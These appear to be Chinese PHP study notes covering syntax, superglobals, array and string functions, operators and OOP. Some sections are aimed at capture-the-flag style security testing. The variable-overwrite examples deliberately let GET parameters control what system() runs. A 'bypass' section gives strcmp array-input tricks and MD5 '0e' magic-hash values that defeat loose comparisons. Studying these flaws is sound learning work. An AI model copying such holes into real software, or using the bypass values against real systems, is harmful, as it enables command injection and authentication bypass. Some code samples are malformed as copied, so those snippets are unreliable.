php基础笔记

开端：

PHP 脚本可以放在文本的任意位置
PHP 脚本以 开始，以 ?>** 结束：
PHP 文件的默认文件扩展名是 ".php"

标签替换
<? echo '123';?> //short_open_tags=on 默认开启
<?=(表达式)?> 等价于 <?php echo (表达式)?> //无限制
<% echo '123';%> //asp_tags=on php_version < 7
<script language=”php”>echo '123'; </script> //php_vsesion < 7

变量名：

变量以 $ 符号开始，后面跟着变量的名称
变量名必须以字母或者下划线字符开始
变量名只能包含字母、数字以及下划线
变量名不能包含空格
变量名是区分大小写的

<?php
$a="Hello world!";
echo $a;
?>

变量作用域：

全局变量与局部变量：

<?php
$a=100; // 全局变量
function set_a()
{
$a=10; // 局部变量
}
set_a();
echo $a;
?>

通过函数修改全局变量（global）：

<?php
$a=100; // 全局变量
function set_a()
{
global $a; // 局部变量
$a=10
}
set_a();
echo $a;
?>

保存函数中的值，后续继续使用（static）：

<?php
//$a = 100;
// 全局变量
function set_a(){
// 局部变量 
static $a = 10; 
$a ++; 
echo $a;
}
set_a();set_a();

常量：

英文字母、下划线、和数字组成,但数字不能作为首字母出现。 (常量名不需要加 $ 修饰符)。
常量在定义后，默认是全局变量，可以在整个运行的脚本的任何地方使用。

bool define ( string $name , mixed $value [, bool $case_insensitive = false ] )
name：必选参数，常量名称，即标志符。
value：必选参数，常量的值。
case_insensitive：可选参数，如果设置为 TRUE，该常量则大小写不敏感，默认是大小写敏感的

<?php
// 区分大小写的常量名
define("DEMO", "Hello world");
echo DEMO; 
?>

超级全局变量：

$GLOBALS
$_SERVER
$_REQUEST
$_POST
$_GET
$_FILES
$_ENV
$_COOKIE
$_SESSION

$GLOBALS：

$GLOBALS 是PHP的一个超级全局变量组，在一个PHP脚本的全部作用域中都可以访问。
$GLOBALS 是一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

$_SERVER：

$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息
的数组。这个数组中的项目由 Web 服务器创建

$_SERVER['PHP_SELF']
：当前执行脚本的文件名。在处理表单提交时，可以用它来指向当前脚本。
$_SERVER['SERVER_NAME']
：当前运行脚本所在的服务器主机的名称。
$_SERVER['REQUEST_METHOD']
：当前请求的方法，通常是 "GET" 或 "POST"。
$_SERVER['REQUEST_URI']
：当前请求的 URI（不含主机部分），例如 "/page.php"。
$_SERVER['QUERY_STRING']
：当前请求的查询字符串部分，即 URL 中 "?" 后面的部分。
$_SERVER['HTTP_HOST']
：当前请求的主机名，通常是指完整的域名，例如 "example.com"。
$_SERVER['HTTP_REFERER']
：引导用户代理到当前页的前一页 URL 地址，如果有的话。但请注意，有些浏览器不提供这个信息，而且这
值容易被伪造，因此不是非常可靠。
$_SERVER['HTTP_USER_AGENT']
：当前用户代理（浏览器或其他客户端应用）的信息。
$_SERVER['REMOTE_ADDR']
：当前请求的客户端 IP 地址。
$_SERVER['SERVER_PORT']
：Web 服务器使用的端口（默认为 80）。
$_SERVER['HTTPS']
：如果当前请求通过 HTTPS 协议访问，则为 "on"；否则为空。

$_REQUEST：

$REQUEST 默认情况下包含了 $GET，$POST 和 $COOKIE

$_POST：

$_POST 来收集表单中的 input 字段数据

$_GET：

$_GET 也可以收集URL中发送的数据。

动态参数：

可变的数组键：

数组的键也可以是动态变量。这样你可以在运行时根据某个变量的值来访问数组中的元素

$index = 2;
$array = array(0 => 'apple', 1 => 'banana', 2 => 'orange');

echo $array[$index]; // 输出 "orange"

可变变量：

数组的键也可以是动态变量。这样你可以在运行时根据某个变量的值来访问数组中的元素

$foo = "hello";
$$foo = "world"; // 创建一个名为 $hello 的变量，并赋值为 "world"
echo $hello; // 输出 "world"

<?php
$a = 'ping 127.0.0.1';
$b = $_GET['1'];
$$b = $_GET['2'];
system($a);

变量覆盖：

extract：

extract 函数可以将数组中的元素导入到当前作用域中作为变量。如果数组中的键与当前作用域中已有的变量名相

同，可能会导致变量覆盖。

$person = ['name' => 'John', 'age' => 30];
extract($person);

echo $name; // 输出 "John"
echo $age; // 输出 30

<?php
$a = 'ping 127.0.0.1';
//$b = $_GET['1'];
//$$b = $_GET['2'];
$arr1 = [$_GET['1'] => $_GET['2'] , 'b' => 2];
extract($arr1);
system($a);

list：

list() 函数用于将数组中的值赋给一组变量

$info = ['John', 'Doe', 30];
list($firstName, $lastName, $age) = $info;

echo $firstName; // 输出 "John"
echo $lastName; // 输出 "Doe"
echo $age; // 输出 30

<?php$a = 'ping 127.0.0.1';
//$b = $_GET['1'];//$$b = $_GET['2'];
//$arr1 = [$_GET['1'] => $_GET['2'] , 'b' => 2];
//extract($arr1);
$arr2 = [$_GET['1'] , 2];
list($a ,$b) = $arr2;
system($a);

parse_str：

parse_str() 函数用于解析 URL 查询字符串，并将其中的参数赋值给相应的变量

$queryString = 'name=John&age=30';
parse_str($queryString, $params);

echo $params['name']; // 输出 "John"
echo $params['age']; // 输出 "30"

<?php
$queryString = $_SERVER['QUERY_STRING'];
$com = array('cmd'=>'ping 127.0.0.1');
parse_str($queryString,$$_GET[1]);
//com['cmd']
echo $com['cmd'];
system($com['cmd']);

compact：

compact() 函数用于将多个变量转换为关联数组，其中变量名将成为数组的键，变量的值将成为数组的值

$firstName = 'John';
$lastName = 'Doe';
$age = 30;

$info = compact('firstName', 'lastName', 'age');
print_r($info);

<?php
$com1 = 'ping 127.0.0.1';
$cmd2 = 'ping 127.0.0.1';
$cmd3 = 'whoami';
$info = compact($_GET['1'], 'cmd2');
foreach ($info as $a){
echo system($a);
}

输出函数：

在PHP中，echo、print、printf和 var_dump都是用于输出内容的函数，但它们有一些区别和不同的用途：

1.echo:

echo是一个语言结构而不是函数，因此不需要使用括号。
echo可以同时输出一个或多个字符串，并且没有返回值。
由于echo没有返回值，因此它在执行效率上稍微优于其他输出函数。

$variable = "Hello";
echo $variable; // 输出：Hello
echo "World"; // 输出：World

2.print:

print是一个函数，需要使用括号。
print和echo类似，用于输出一个字符串，但它只能输出一个字符串，不能同时输出多个，并且总是返回1。
由于print有返回值，因此它可以在表达式中使用。

$variable = "Hello";
print $variable; // 输出：Hello

3.printif:

printf是一个格式化输出函数，可以根据指定的格式输出字符串。它类似于C语言中的
printf的第一个参数是格式字符串，后面可以跟随多个参数，用于替换格式字符串中的占位符

$variable = "World";
printf("Hello %s", $variable); // 输出：Hello World

4.var_dump：

var_dump是一个调试函数，用于输出变量的详细信息，包括类型和值。
它可以用于调试目的，帮助开发者了解变量的结构和内容。

$variable = array(1, 2, 3);
var_dump($variable);
// 输出：
// array(3) {
// [0]=> int(1)
// [1]=> int(2)
// [2]=> int(3)
// }

5.print_r:

print_r 用于以更可读的方式输出数组或对象的内容，通常用于调试目的
它仅用于输出数组或对象的内容，因此不能用于输出其他数据类型的内容

$myArray = array('apple', 'banana', 'cherry');
print_r($myArray);

数据类型：

String（字符串）
Integer（整型）
Float（浮点型）
Boolean（布尔型）
Array（数组）
Object（对象）
NULL（空值）
Resource（资源类型）

类型比较：

松散比较：使用两个等号 == 比较，只比较值，不比较类型。
严格比较：用三个等号 === 比较，除了比较值，也比较类型。

数组：

数组能够在单个变量中存储多个值

<?php
$cars=array("Volvo","BMW","Toyota");
echo "I like " . $cars[0] . ", " . $cars[1] . " and " . $cars[2] . ".";
?>

PHP中有许多常用的数组函数，用于操作、处理和转换数组。以下是一些常见的数组函数：

array_push(): 将一个或多个元素添加到数组的末尾。

$array = array("apple", "banana");
array_push($array, "orange", "grape");
print_r($array);

array_pop(): 删除数组的最后一个元素，并返回被删除的元素。

$array = array("apple", "banana", "orange");
$removedElement = array_pop($array);
print_r($array);
echo $removedElement;

array_shift(): 删除数组的第一个元素，并返回被删除的元素。

$array = array("apple", "banana", "orange");
$removedElement = array_shift($array);
print_r($array);
echo $removedElement;

array_unshift(): 在数组的开头插入一个或多个元素。

$array = array("apple", "banana");
array_unshift($array, "orange", "grape");
print_r($array);

array_merge(): 合并一个或多个数组。

$array1 = array("apple", "banana");
$array2 = array("orange", "grape");
$mergedArray = array_merge($array1, $array2);
print_r($mergedArray);

array_slice(): 从数组中截取一个部分。

$array = array("apple", "banana", "orange", "grape");
$slicedArray = array_slice($array, 1, 2);
print_r($slicedArray);

array_splice(): 从数组中移除一个部分并替换为新的元素。

$array = array("apple", "banana", "orange", "grape");
array_splice($array, 1, 2, array("watermelon", "kiwi"));
print_r($array);

array_reverse(): 反转数组中的元素顺序。

$array = array("apple", "banana", "orange");
$reversedArray = array_reverse($array);
print_r($reversedArray);

array_unique(): 移除数组中重复的元素。

$array = array("apple", "banana", "apple", "orange");
$uniqueArray = array_unique($array);
print_r($uniqueArray);

array_map(): 对数组中的每个元素应用回调函数。

$array = array("apple", "banana", "orange");
$result = array_map('strtoupper', $array);
print_r($result);

array_filter(): 使用回调函数过滤数组中的元素。

$array = array("apple", "banana", "", "orange");
$result = array_filter($array);
print_r($result);

array_reduce(): 使用回调函数对数组中的所有元素进行迭代处理。

$array = array("apple", "banana", "orange");
$result = array_reduce($array, function($carry, $item) {
    return $carry . ', ' . $item;
});
echo $result;

array_keys(): 返回数组中所有键名的数组。

$array = array("apple" => 1, "banana" => 2, "orange" => 3);
$keys = array_keys($array);
print_r($keys);

array_values(): 返回数组中所有值的数组。

$array = array("apple" => 1, "banana" => 2, "orange" => 3);
$values = array_values($array);
print_r($values);

array_combine(): 使用一个数组的值作为键名，另一个数组的值作为键值，创建一个新数组。

$keys = array("apple", "banana", "orange");
$values = array(1, 2, 3);
$combinedArray = array_combine($keys, $values);
print_r($combinedArray);

array_count_values(): 计算数组中每个值出现的次数。

$array = array("apple", "banana", "apple", "orange");
$countValues = array_count_values($array);
print_r($countValues);

array_sum(): 计算数组中所有值的和。

$array = array(1, 2, 3, 4);
$sum = array_sum($array);
echo $sum;

array_diff(): 计算两个数组的差集。

$array1 = array("apple", "banana", "orange");
$array2 = array("banana", "grape");
$diffArray = array_diff($array1, $array2);
print_r($diffArray);

array_intersect(): 计算两个数组的交集。

$array1 = array("apple", "banana", "orange");
$array2 = array("banana", "grape");
$intersectArray = array_intersect($array1, $array2);
print_r($intersectArray);

in_array(): 检查数组中是否存在指定的值。

$array = array("apple", "banana", "orange");
$isExists = in_array("banana", $array);
var_dump($isExists);

array_key_exists(): 检查数组中是否存在指定的键名。

$array = array("apple" => 1, "banana" => 2, "orange" => 3);
$isKeyExists = array_key_exists("banana", $array);
var_dump($isKeyExists);

array_search(): 在数组中搜索指定的值，并返回对应的键名。

$array = array("apple", "banana", "orange");
$key = array_search("banana", $array);
echo $key;

array_column(): 从多维数组中提取指定的列。

$array = array(
    array("id" => 1, "name" => "John"),
    array("id" => 2, "name" => "Jane")
);
$column = array_column($array, "name");
print_r($column);

array_rand(): 从数组中随机选择一个或多个元素的键名。

$array = array("apple", "banana", "orange");
$randomKey = array_rand($array);
echo $randomKey;

shuffle(): 打乱数组中的元素顺序。

$array = array("apple", "banana", "orange");
shuffle($array);
print_r($array);

count(): 计算数组中的元素个数。

$array = array("apple", "banana", "orange");
$count = count($array);
echo $count;

sort(): 对数组进行升序排序。

$array = array(3, 1, 4);
sort($array);
print_r($array);

rsort(): 对数组进行降序排序。

$array = array(3, 1, 4);
rsort($array);
print_r($array);

asort(): 对数组进行升序排序并保留键名。

$array = array("apple" => 3, "banana" => 1, "orange" => 4);
asort($array);
print_r($array);

arsort(): 对数组进行降序排序并保留键名。

$array = array("apple" => 3, "banana" => 1, "orange" => 4);
arsort($array);
print_r($array);

ksort(): 对数组按键名进行升序排序。

$array = array("apple" => 3, "banana" => 1, "orange" => 4);
ksort($array);
print_r($array);

krsort(): 对数组按键名进行降序排序。

$array = array("apple" => 3, "banana" => 1, "orange" => 4);
krsort($array);
print_r($array);

natsort(): 使用自然排序算法对数组进行升序排序。

$array = array("img1.jpg", "img10.jpg", "img12.jpg", "img2.jpg");
natsort($array);
print_r($array);

natcasesort(): 使用自然排序算法对数组进行不区分大小写的升序排序。

$array = array("IMG1.jpg", "img10.jpg", "Img12.jpg", "img2.jpg");
natcasesort($array);
print_r($array);

usort(): 使用用户自定义的比较函数对数组进行排序。

$array = array(3, 1, 4);
usort($array, function($a, $b) {
    return $a <=> $b;
});
print_r($array);

uasort(): 使用用户自定义的比较函数对数组进行排序并保留键名。

$array = array("apple" => 3, "banana" => 1, "orange" => 4);
uasort($array, function($a, $b) {
    return $a <=> $b;
});
print_r($array);

uksort(): 使用用户自定义的比较函数对数组按键名进行排序。

$array = array("apple" => 3, "banana" => 1, "orange" => 4);
uksort($array, function($a, $b) {
    return strcmp($a, $b);
});
print_r($array);

字符串：

字符串拼接：

<?php
$txt1="Hello world!";
$txt2="What a nice day!";
echo $txt1 . " " . $txt2;
?>

在 PHP 中，有许多常用的字符串处理函数，用于执行字符串的各种操作和转换。以下是一些常见的字符串处理函数：

strlen(): 获取字符串的长度。

$str = "Hello, world!";
$length = strlen($str);
echo $length;

strpos(): 在字符串中查找子字符串的首次出现位置。

$str = "Hello, world!";
$position = strpos($str, "world");
echo $position;

stripos(): 在字符串中查找子字符串的首次出现位置（不区分大小写）。

$str = "Hello, World!";
$position = stripos($str, "world");
echo $position;

strrpos(): 在字符串中查找子字符串的最后一次出现位置。

$str = "Hello, world! world!";
$position = strrpos($str, "world");
echo $position;

strripos(): 在字符串中查找子字符串的最后一次出现位置（不区分大小写）。

$str = "Hello, World! world!";
$position = strripos($str, "world");
echo $position;

substr(): 从字符串中提取子字符串。

$str = "Hello, world!";
$substring = substr($str, 7, 5);
echo $substring;

str_replace(): 替换字符串中的子字符串。

$str = "Hello, world!";
$replaced = str_replace("world", "PHP", $str);
echo $replaced;

strtolower(): 将字符串转换为小写。

$str = "Hello, World!";
$lower = strtolower($str);
echo $lower;

strtoupper(): 将字符串转换为大写。

$str = "Hello, World!";
$upper = strtoupper($str);
echo $upper;

ucfirst(): 将字符串的第一个字符转换为大写。

$str = "hello, world!";
$ucfirst = ucfirst($str);
echo $ucfirst;

ucwords(): 将字符串中每个单词的首字母转换为大写。

$str = "hello, world!";
$ucwords = ucwords($str);
echo $ucwords;

strrev(): 反转字符串中的字符顺序。

$str = "Hello, world!";
$reversed = strrev($str);
echo $reversed;

str_pad(): 使用另一个字符串填充字符串，以达到指定的长度。

$str = "42";
$padded = str_pad($str, 5, "0", STR_PAD_LEFT);
echo $padded;

str_repeat(): 重复字符串指定的次数。

$str = "A";
$repeated = str_repeat($str, 5);
echo $repeated;

str_split(): 将字符串拆分为字符数组。

$str = "Hello";
$chars = str_split($str);
print_r($chars);

str_word_count(): 计算字符串中的单词数。

$str = "Hello, world!";
$wordCount = str_word_count($str);
echo $wordCount;

wordwrap(): 在指定的位置插入换行符，以适应给定的宽度。

$str = "Hello, world!";
$wrapped = wordwrap($str, 5, "\n");
echo $wrapped;

trim(): 去除字符串两侧的空白字符。

$str = "   Hello, world!   ";
$trimmed = trim($str);
echo $trimmed;

ltrim(): 去除字符串左侧的空白字符。

$str = "   Hello, world!   ";
$ltrimmed = ltrim($str);
echo $ltrimmed;

rtrim(): 去除字符串右侧的空白字符。

$str = "   Hello, world!   ";
$rtrimmed = rtrim($str);
echo $rtrimmed;

explode(): 使用指定的分隔符将字符串拆分为数组。

$str = "apple,banana,orange";
$array = explode(",", $str);
print_r($array);

implode(): 使用指定的分隔符将数组元素连接成一个字符串。

$array = array("apple", "banana", "orange");
$str = implode(",", $array);
echo $str;

strcmp(): 比较两个字符串（区分大小写）。

$str1 = "Hello";
$str2 = "hello";
$result = strcmp($str1, $str2);
echo $result;

strcasecmp(): 比较两个字符串（不区分大小写）。

$str1 = "Hello";
$str2 = "hello";
$result = strcasecmp($str1, $str2);
echo $result;

strstr(): 在字符串中查找子字符串的首次出现，并返回子字符串及其后面的所有字符。

$str = "Hello, world!";
$result = strstr($str, "world");
echo $result;

stristr(): 在字符串中查找子字符串的首次出现（不区分大小写），并返回子字符串及其后面的所有字符。

$str = "Hello, World!";
$result = stristr($str, "world");
echo $result;

文件名常用函数

在 PHP 中，可以使用以下常见的函数来限制文件名：

1.basename():

basename() 函数用于返回路径中的文件名部分。它可以用于确保文件名只包含合法的字符，并且不包含路径信息。

$filename = "/path/to/my_file.txt";
$basename = basename($filename); // $basename 现在是 "my_file.txt"

2.preg_replace

preg_replace() 函数可以使用正则表达式替换文件名中的不合法字符。通过使用适当的正则表达式，可以从文件名中去除非法字符或将它们替换为其他字符。

$filename = "file?name.txt";
$cleanedFilename = preg_replace('/[^\w\d\.\-_]/', '_', $filename); // $cleanedFilename
现在是 "file_name.txt"

在上面的例子中，preg_replace() 函数使用正则表达式将非单词字符（\w）、非数字字符（\d）、点（.）、连字符（-）和下划线（_）之外的所有字符替换为下划线。

3.str_replace():

str_replace() 函数可以用于简单的字符串替换。虽然不如正则表达式强大，但在某些情况下也可以用来去除特定字符

$filename = "file?name.txt";
$cleanedFilename = str_replace('?', '_', $filename); // $cleanedFilename 现在是
"file_name.txt"

4.filter_var():

filter_var() 函数可以用于过滤文件名中的非法字符。使用

FILTER_SANITIZE_STRING 过滤器可以删除文件名中的非法字符。

$filename = "file?name.txt";
$cleanedFilename = filter_var($filename, FILTER_SANITIZE_STRING); // $cleanedFilename
现在是 "filename.txt"

5.pathinfo() ：

pathinfo() 函数可以用于获取文件路径的信息，包括文件名、目录名和文件扩展名（后缀）等。通过pathinfo() 获取文件后缀，并与允许的后缀列表进行比较。

$allowedExtensions = array('jpg', 'png', 'gif');
$filename = 'example.jpg';

$extension = pathinfo($filename, PATHINFO_EXTENSION);

if (in_array($extension, $allowedExtensions)) {
// 合法的文件后缀
} else {
// 非法的文件后缀
}

6.strtolower() ：

在检查文件后缀时，为了避免大小写问题，通常会将后缀转换为小写（或大写）后再进行比较。

$allowedExtensions = array('jpg', 'png', 'gif');
$filename = 'example.JPG';
$extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

if (in_array($extension, $allowedExtensions)) {
// 合法的文件后缀
} else {
// 非法的文件后缀
}

存在绕过的函数：

strcmp：

strcmp($a,$b) 比较两个字符串是否相等，相等返回0，出错也返回0，因此传入数组使其出错

<?php
$a = $_GET['a'];
if(!strcmp($a, '121312')){
echo 'ok';}
?>

md5:

1. 传数组
2. 两个md5加密后是0e开头的字符串，a=s878926199a&b=s155964671a

if (md5($_POST['a']) == md5($_POST['b']))
echo 'flag';

运算符：

PHP 算术运算符

算术运算符用于执行常见的算术运算，例如加，减，乘等。这是PHP算术运算符的完整列表：

运算符	描述	在线示例	结果
+	加法	$x + $y	$x和$y的总和
-	减法	$x - $y	$x和$y之差
*	乘法	$x * $y	$x和$y的乘积
/	除法	$x / $y	$x和$y的商
%	求模	$x % $y	$x除以$y的余数

PHP 赋值运算符

赋值运算符用于为变量赋值。

运算符	描述	在线示例	等同于
=	赋值	$x = $y	`$x = $y`
+=	相	$x += $y	`$x = $x + $y`
-=	减	$x -= $y	`$x = $x - $y`
*=	乘	$x *= $y	`$x = $x * $y`
/=	除	$x /= $y	`$x = $x / $y`
%=	模（除法的余数）	$x %= $y	`$x = $x % $y`
.=	连接字符串	$x .= $y	`$x = $x.$y`

PHP 递增/递减运算符

递增/递减运算符用于递增/递减变量的值。

运算符	名称	描述
++$x	预增量	将$x加1，然后返回$x
$x++	后增量	返回$x，然后将$x加1
--$x	递减	将$x减一，然后返回$x
$x--	递减后	返回$x，然后将$x减1

PHP 逻辑运算符

逻辑运算符通常用于组合条件语句

运算符	名称	在线示例	结果
and	与	$x and $y	如果$x和$y都为true，则为true
or	或	$x or $y	如果$x或$y为true，则为true
xor	异或	$x xor $y	如果$x或$y为true，则为True，但不能同时为true
&&	与	$x && $y	如果$x和$y都为true，则为true
\|\|	或	$x \|\| $y	如果$$x或$y为true，则为true
!	非	!$x	如果$x不为true，则为true

PHP 字符串运算符

有两个专门为字符串设计的运算符。

运算符	描述	在线示例	结果
.	级联	$str1 . $str2	$str1和$str2的串联
.=	串联分配	$str1 .= $str2	将$str2追加到$str1

PHP 数组运算符

数组运算符用于比较数组：

运算符	名称	在线示例	结果
+	集合	$x + $y	$x和$y的并集
==	相等	$x == $y	如果$x和$y具有相同的键/值对，则为true
===	全等	$x === $y	如果$x和$y具有相同顺序和相同类型的相同键/值对，则为true
!=	不相等	$x != $y	如果$x不等于$y，则为true
<>	不相等	$x <> $y	如果$x不等于$y，则为true
!==	不全等	$x !== $y	如果$x与$y不相同则为true

PHP 太空船运算符PHP 7

PHP 7引入了一个新的太空船运算符（<=>），可用于比较两个表达式。也称为组合比较运算符。

如果两个操作数相等，则宇宙船操作符返回0，如果左侧大于1，则返回1，如果右侧大于1，则返回-1。基本提供三向对比，如下表所示：

运算符	<=> 相当于
$x < $y	`($x <=> $y) === -1`
$x <= $y	`($x <=> $y) === -1 \|\| ($x <=> $y) === 0`
$x == $y	`($x <=> $y) === 0`
$x != $y	`($x <=> $y) !== 0`
$x >= $y	`($x <=> $y) === 1 \|\| ($x <=> $y) === 0`
$x > $y	`($x <=> $y) === 1`

条件与循环：

条件：

IF:

<?php
$t=date("H");
if ($t<"10")
{
echo "Have a good morning!";
}
elseif ($t<"20")
{
echo "Have a good day!";
}
else
{
echo "Have a good night!";
}
?>

switch:

 <?php
$favcolor="red";
switch ($favcolor)
{
case "red":
echo "你喜欢的颜色是红色!";
break;
case "blue":
echo "你喜欢的颜色是蓝色!";
break;
case "green":
echo "你喜欢的颜色是绿色!";
break;
default:
echo "你喜欢的颜色不是 红, 蓝, 或绿色!";
}
?>

循环：

while：

<html>
<body>

<?php
$i=1;
while($i<=5)
{
echo "The number is " . $i . "<br>";
$i++;
}
?>

</body>
</html>

do .. while:

<html>
<body>

<?php
$i=1;
do
{
$i++;
echo "The number is " . $i . "<br>";
}
while ($i<=5);
?>

</body>
</html>

for:

<?php
for ($i=1; $i<=5; $i++)
{
echo "数字为 " . $i . PHP_EOL;
}
?>

foreach:

<?php
$x=array("Google","Runoob","Taobao");
foreach ($x as $value)
{
echo $value . PHP_EOL;
}
?>

函数：

创建函数：

<?php
function functionName()
{
// 要执行的代码
}
?>

添加参数：

<?php
function writeName($fname)
{
echo $fname . " Refsnes.<br>";
}

echo "My name is ";
writeName("Kai Jim");
echo "My sister's name is ";
writeName("Hege");
echo "My brother's name is ";
writeName("Stale");
?>

返回值：

<?php
function add($x,$y)
{
$total=$x+$y;
return $total;
}
echo "1 + 16 = " . add(1,16);
?>

类与对象：

<?php
class person {
/* 成员变量 */ 
var $name; 
var $age; /* 成员函数 */ 
function setName($name){
$this->name = $name; 
}

function setAge($age){
$this->age = $age; 
}

function getName(){
echo $this->name . PHP_EOL; 
}

function getAge(){
echo $this->age . PHP_EOL; 
}
}
?>

1.构造函数：

//对象被创建时调用
void __construct ([ mixed $args [, $... ]] )

function __construct( $name, $age ) {
$this->name = $name;
$this->age = $age;
}

2.析构函数：

//对象被摧毁后调用
function __destruct() {
print "销毁 " . $this->name . "\n";
}

3. 继承：

//继承父类后，具备父类的大部分方法与变量
class Child extends Person{

}

4. 方法重写：

// 重写父类的方法
function getName() {
echo $this->name . PHP_EOL;
return $this->name;
}

function getAge(){
echo $this->age . PHP_EOL;
return $this->age;
}

5. 访问控制：

public（公有）：公有的类成员可以在任何地方被访问。

protected（受保护）：受保护的类成员则可以被其自身以及其子类和父类访问。

private（私有）：私有的类成员则只能被其定义所在的类访问。

<?php
class Person
{
// 声明一个公有的构造函数 
public function __construct() { }


// 声明一个公有的方法 
public function func1() {
echo '这里是公有方法'; 
}

// 声明一个受保护的方法 
protected function func2(){
echo '这里是收保护的方法'; 
}
 // 声明一个私有的方法 
private function func3() {
echo '这里时私有方法'; 
}

// 此方法为公有 
function test()
{
$this->func1(); // 正常执行 
$this->func2(); // 正常执行 protected受保护的方法,可以被自身调用以及子类调用 
$this->func3();// 正常执行 private私有方法,可以被自身其他方法调用，子类不行 
}
 }

$class = new Person();
$class->func1(); // 正常执行
# $class->func2(); // 被protected修饰的方法 只能在类方法中被调用#
$class->func3(); // 被private修饰的方法 只能在类方法中被调用
$class->test(); // 公有，受保护，私有都可以执行
class Superman extends Person
{
// 此方法为公有 
function test2()
{
$this->func1(); 
$this->func2(); // 正常执行 protected受保护的方法,可以被自身调用以及子类调用 
# $this->func3(); // 不能正常执行 private私有方法,可以被自身其他方法调用，子类不行 
 

}
}

$myclass2 = new Superman();
$myclass2->test(); // 这行能被正常执行
$myclass2->test2(); // 公有的和受保护的都可执行，但私有的不行

6. 接口

<?php
// 声明一个'interfaceDemo'接口
interface interfaceDemo
{
public function echo_flag($flag);
//不能添加已经被实现的方法
}

// 实现接口 ,关键词implements
class Demo implements interfaceDemo
{
public function echo_flag($flag){
echo $flag; 
}
}

7. 常量

<?php
class MyClass
{
const constant = '常量值';

function showConstant() {
echo self::constant . PHP_EOL;
}
}

8. 抽象类

<?php
abstract class AbstractClass
{
abstract protected function echo_flag($flag);
public function echo_flag2($flag){
echo $flag2;
//不能添加已经被实现的方法
}

}

// 实现接口
class Demo extends AbstractClass

{

public function echo_flag($flag){
echo $flag; 
}
}

9.Static

静态方法

<?php
class Foo {
public static $my_static = 'foo';

public function staticValue() {
return self::$my_static;
}
}

print Foo::$my_static . PHP_EOL;
$foo = new Foo();

print $foo->staticValue() . PHP_EOL;
?>

10. Final

如果父类中的方法被声明为 final，则子类无法覆盖该方法。如果一个类被声明为 final，则不能被继承。

<?php
class BaseClass {
public function test() {
echo "BaseClass::test() called" . PHP_EOL;
}

final public function moreTesting() {
echo "BaseClass::moreTesting() called" . PHP_EOL;
}
}

class ChildClass extends BaseClass {
public function moreTesting() {
echo "ChildClass::moreTesting() called" . PHP_EOL;
}
}
 // 报错信息 Fatal error: Cannot override final method BaseClass::moreTesting()
?>

11. 调用父类构造方法

<?php
class BaseClass {
function __construct() {
print "BaseClass 类中构造方法" . PHP_EOL;
}
}
class SubClass extends BaseClass {
function __construct() {
parent::__construct(); // 子类构造方法不能自动调用父类的构造方法
print "SubClass 类中构造方法" . PHP_EOL;
}
}
class OtherSubClass extends BaseClass {
// 继承 BaseClass 的构造方法
}

// 调用 BaseClass 构造方法
$obj = new BaseClass();

// 调用 BaseClass、SubClass 构造方法
$obj = new SubClass();

// 调用 BaseClass 构造方法
$obj = new OtherSubClass();
?>

12. 魔术方法

 __construct()
实例化类时自动调用

__destruct()
类对象使用结束时自动调用

__set()
在给未定义的属性赋值时自动调用

__get()
调用未定义的属性时自动调用

__isset()
使用 isset() 或 empty() 函数时自动调用

__unset()
使用 unset() 时自动调用

__sleep()
使用 serialize 序列化时自动调用

__wakeup()
使用 unserialize 反序列化时自动调用
__call()
调用一个不存在的方法时自动调用

__callStatic()
调用一个不存在的静态方法时自动调用

__toString()
把对象转换成字符串时自动调用

__invoke()
当尝试把对象当方法调用时自动调用

 __set_state()
 当使用 var_export() 函数时自动调用，接受一个数组参数

__clone()
当使用 clone 复制一个对象时自动调用

__debugInfo()
使用 var_dump() 打印对象信息时自动调用

__autoload()
尝试加载未定义的类

13. 魔术常量

1.__LINE__

<?php
echo '这是第 " ' . __LINE__ . ' " 行';
?>

2.__FILE__

<?php
echo '该文件位于 " ' . __FILE__ . ' " ';
?>

3.__DIR__

<?php
echo '该文件位于 " ' . __DIR__ . ' " ';
?>

4.FUNCTION

<?php
function test() {
echo '函数名为：' . __FUNCTION__ ;
}
test();
?>

5.__CLASS__

<?php
class test {
function _print() {
echo '类名为：' . __CLASS__ . "<br>";
echo '函数名为：' . __FUNCTION__ ;
}
}
$t = new test();
$t->_print();
?>

6.__TRAIT__

<?php
class Base {
public function sayHello() {
__TRAIT__
__NAMESPACE__
echo 'Hello ';
}
}

trait SayWorld {
public function sayHello() {
parent::sayHello();
echo 'World!';
}
}

class MyHelloWorld extends Base {
use SayWorld;
}

$o = new MyHelloWorld();
$o->sayHello();
?>

7.__TRAIT__

<?php
function test() {
echo '函数名为：' . __METHOD__ ;
}
test();
?>

8.__NAMESPACE__

<?php
namespace MyProject;

echo '命名空间为："', __NAMESPACE__, '"'; // 输出 "MyProject"
?>

命名空间

1. 定义命名空间

<?php
/
namespace Space1;const flag = 1;
function func() {
echo '这里是Space1';}
/
namespace Space2;
const flag = 2;
function func() {
echo '这里是Space2';}
// 默认会使用前面的命名空间对应的函数
func();
// 选择命名空间调用函数\Space1\func();\Space2\
func();?>

2. 子命名空间

<?php
namespace Space1;function func() {
echo '这里是Space1';}

namespace Space1\Son1; 
function func() {
echo '这里是Son1';}

namespace Space1\Son2;
function func() {
echo '这里是Son2';}

func();
\Space1\Son1\func();
\Space1\func();
 ?>

3. 命名空间使用

<?php
namespace Space1;
//包含一个文件,可以调用这个方法中的类，变量，方法。。。
//但由于php无法直接区分，哪些代码是那个文件中的，
//因此必须设置一个命名空间，
//否则不同文件中的类，变量，方法。。。就会混淆
include 'demo.php';
function func() {
echo '这里是Space1';}

namespace Space1\Son1; 
//声明分层次的单个命名空间
function func() {
echo '这里是Son1';
}

namespace Space1\Son2; 
//声明分层次的单个命名空间
function func() {
echo '这里是Son2';
}

namespace Space1\Son2\grandson; 
//声明分层次的单个命名空间
function func() {
echo '这里是grandson';
}

func();

\Space1\Son2\func();
\Space1\Son1\func();
\Space1\func();
?>

4. 动态语言特征

<?phpnamespace Space2;function func() {
echo '这里是Space2';}

namespace Space2\son;
const DEMO = '这是一个常量';
function func() {
echo '这里是Space2的son';}

class classDemo{
public function __construct()
{
echo 'classDemo被创建'; 
}
}

?>

<?phpnamespace Space1;
//包含一个文件,可以调用这个方法中的类，变量，方法。。。
//但由于php无法直接区分，哪些代码是那个文件中的，
//因此必须设置一个命名空间，/
/否则不同文件中的类，变量，方法。。。就会混淆
include 'demo.php';

//动态调用
// 动态调用常量
$a = '\Space2\son\DEMO';
echo constant($a);
// 动态调用方法
$b = '\Space2\son\func';
$b();
$c = '\Space2\son\classDemo';
